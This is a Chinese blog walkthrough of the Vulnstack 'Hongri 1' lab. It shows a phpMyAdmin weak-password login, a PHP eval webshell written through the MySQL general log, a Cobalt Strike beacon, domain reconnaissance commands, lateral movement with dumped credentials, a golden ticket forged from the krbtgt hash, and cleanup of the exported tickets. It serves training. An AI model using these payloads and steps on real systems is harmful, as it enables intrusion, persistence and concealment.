《内网渗透实战:红日 1 号全流程复现(Web 入侵 / 提权 / 横向移动 / 黄金票据)》

环境搭建

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

下载解压如下,选择其中然后用虚拟机打开vmx文件即可

本题的网络拓扑结构如下所示,三台虚拟机的初始密码都是hongrisec@2019

首先介绍一下什么是工作组和域

工作组:

将不同计算机按功能分别列入不同的组内,在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在"网络(网上邻居)"内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了"工作组"这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入"技术部"工作组中,行政部的电脑都列入"行政部"工作组中。你要访问某个部门的资源,就在"网络"里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。

域:

域是一个有安全边界的计算机集合(安全边界的意思即一个域中的用户无法访问另外一个域中的资源),相比工作组而言,它有一个更加严格的安全管理机制,如果想访问域内资源,必须拥有一个合法的身份登录到该域中,你的权限取决于你在该域中的用户身份。

DC:

域内管理者,活动目录的数据库(包括用户的账号信息)是存储在DC中的,一旦DC瘫痪,其他用户就不能登录该域,内网中最重要的也是拿到域内DC控制权

这们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC

这里我们在开启服务器前设置网络VMnet0和VMnet1,将VMnet0作为内网,VMnet1作为外网,其中需要注意的是,VMnet0的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启

配置win7 web服务网络

从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器 ,所以需要两张网卡,如下所示

设置好我们开机查看没问题(外网为:192.168.70.133 内网为:192.168.52.143)

配置Winserver 2008(DC)

我们直接将域控主机配置VMnet0网卡,如下所示

成功获取内网ip:192.168.52.138

配置win2k3网络(域成员)

域内主机win2003的网卡配置和DC配置一致,选择VMnet0网卡即可,与外网不连通

成功获取内网ip:192.168.52.141

接下来你们去互ping,如果通则正常,反之就出现问题了,尝试关闭防火墙和域防火墙后重新ping,如果不行则需要重新弄,接下来我们开启外网服务器,我们去到win7的小皮面板目录

注意:这里在开启后需要在重启win7一次,不然无法使用phpstudy

打开就是这样子,我们点击启动然后我们去访问127.0.0.1是否正常

如果是这样就证明开启了,现在我们在去攻击机(kali)去访问这个靶机的IP

OK成功访问,接下来开始攻击

攻击渗透

我们使用kali自带的dirsearch目录扫描工具去扫描网站的目录

可以发现服务器居然开放了phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,看看它是否有做访问限制

OK没有任何防护直接进去,那么看到这个登录框,我们可以先直接试试有没有弱口令root/root

OK发现默认账号密码直接进去了

phpmyadmin是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库

在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务

PhpMyAdmin 后台 Getshell

phpmyadmin有两种getshell方式:

  • into outfile导出木马
  • 利用Mysql日志文件getshell

尝试into outfile导出木马

执行 select @@basedir; 查看一下网站的路径

路径为:C:/phpStudy/MySQL/

再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'; 直接将木马写入到 www网站根目录下 失败

这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =""。

直接写入木马不行,那我们就换另一种方法---Mysql日志文件写入shell

利用Mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell

SET GLOBAL general_log='on'

开启 general_log

SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

指定日志写入到网站根目录的 shell.php 文件

然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["123"]);?>',即可将一句话木马写入 hack.php 文件中 访问/shell.php 成功写入

用蚁剑成功链接

内网攻击

在kali里 ./teamserver 192.168.70.128 123456 运行cs服务

进入cs目录下./cs.sh启动并连接cs服务器

iP就是自己kali的ip,密码就是你刚刚设置的密码,然后端口默认是50050,账户随便输入,

打开是这样的,然后我们先弄一个监听器

那个IP都写kali自己的IP就好了,创建完是这样的

然后我们在弄一个exe程序

监听器选择刚刚创建的那个

然后保存看你自己保存到哪里,反正后面也是要复制出来的

在保存好后我们复制到外面来,用蚁剑上传

在上传完后我们在终端里执行 artifact.exe 可以看到靶机上线到CS上

成功上线

信息收集

内网信息收集的主要目的就是查找域控以及域内的其他主机

net view # 查看局域网内其他主机名

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user # 查看本机用户列表

net user /domain # 查看域用户

net localgroup administrators # 查看本地管理员组(通常会有域用户)

net view /domain # 查看有几个域

net user 用户名 /domain # 获取指定域用户的信息

net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

net group 组名 /domain # 查看域中某工作组

net group "domain admins" /domain # 查看域管理员的名字

net group "domain computers" /domain # 查看域中的其他主机名

net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

我们先来看一下权限,如果权限只是普通的admin的话我们使用getsystem来提升到system权限

可以看到administrator已经够用了

1、先判断是否存在域,使用 shell ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个)
3、查看域的组账户信息(工作组)
4、既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA
5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)

扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH

至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控

横向移动

1.我们对内网192.168.52/0地址进行端口扫描

可以看到开启了445的smb服务,那我们是用明文传输来上线机器,我们先创建一个smb的监听器

2.可以看到开启了445的smb服务,那我们是用明文传输来上线机器,我们先创建一个smb的监听器

2.然后我们在抓起明文密码

3.然后我们在点击我们要横向移动的机器

4.可以看到直接住取到了明文密码,选择明文,然后选择我们刚刚的smb监听器,会话在选择我们的刚刚控制的web外网服务器

5.然后点击运行,等待片刻便可看到域控服务器已经上线,直接拿下域控

由此成功能控制整个域了,但是这还不够,我们来制作我们的黄金票据

黄金票据权限维持

获取制作票据的"原材料"

你必须在已经拿下的 域控 (OWA) 上执行以下操作,收集四个关键信息:

  1. 域名称 (Primary Domain)god.org

  2. 域的 SID:域的唯一标识符。

  3. 目标用户名 :你想伪造谁?(通常写 Administrator)。

  4. krbtgt 的 NTLM Hash:这是最重要的"印章"。

输入dcsync god.org krbtgt查看id和哈希值

可以查到Domain : god.org id为S-1-5-21

krbtgt Hash : 58e91a5ac358d86513ab224312314061

然后制作黄金票据

点击build等待一下会出现以下

shell klist验证一下

生成成功,接下来我们将这张黄金票据保存成一个 .kirbi 文件,好让你下次重启 Cobalt Strike 之后还能直接导入使用,而不需要重新抓取 krbtgt

# 导出当前会话中的所有 Kerberos 票据
mimikatz sekurlsa::tickets /export

一般默认下载路径为 C:\Windows\System32

可以看到确实下载成功 然后我们直接复制或者用下载命令下载Administrator@krbtgt黄金票据到到自己电脑即可

当然下载完也不要忘了清理现场

shell del C:\Windows\System32\*.kirbi把他们删除

名词解释

黄金票据

黄金票据(golden ticket):伪造票据授予票据(TGT),也被称为认证票据。与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,再重新获取权限,因为常见的在域中管理员知道自己被入侵了 往往只是简单的修改域管的账号 恰恰krbtgt却被忽略,就有了可乘之机。

哈希码横向移动

因为域控制服务器以为都已经是内网才能访问了,不会被黑了,它就开了个共享目录在那里,但是文件存在域控制服务器上,这时候我们使用的cs会创建一个exe程序上传到域控制服务器,从而控制服务器,然后又因为,域控制服务器肯定会有别的机子的密码的,所以只要控制域服务器后就完全掌控了整个域,其实也是域控制服务器曾经远程连接过这个机子,导致它的密码残留下来了,因为Windows 默认会在内存缓存登录凭证(即使注销后也可能残留)

总结一句话:

横向移动的本质是 "用高权限账号的密码,登录其他机器"。

机器A的作用只是 "意外存储了域管密码的跳板",并非它自身有权限。

防御要聚焦 "管好域管账号"+"清理内存"+"隔离凭据"。

"攻击者用偷来的域管密码,光明正大通过系统后门(ADMIN$)把木马放进域控的卧室(C:\Windows\),然后远程命令木马自启动。"

防御核心:锁死后门(关共享) + 监控卧室(文件审计)。

相关推荐
vortex52 小时前
逻辑漏洞挖掘思路小结
网络安全
zjeweler2 小时前
redis_tools_gui_v1.2 —Redis图形化漏洞利用工具
数据库·redis·web安全·缓存·安全性测试
llxxyy卢2 小时前
polar春季赛web题目
前端·web安全
xingxin3212 小时前
日志文件分析溯源(连接WebShell的IP地址)实验报告
安全·web安全·网络安全·php·文件上传
heze0920 小时前
sqli-labs-Less-50
数据库·mysql·网络安全
瘾大侠1 天前
HTB - Kobold
网络·安全·web安全·网络安全
PyHaVolask1 天前
SQL 注入实战:布尔盲注完整流程与 Python 脚本详解
web安全·渗透测试·sql注入·python脚本·布尔盲注
李白你好1 天前
一个综合性的Web安全学习平台
学习·安全·web安全
中科固源1 天前
强制性国标在路上:预解读《民用无人驾驶航空器数据链路网络安全要求》(二)
安全·网络安全·低空经济·商业航天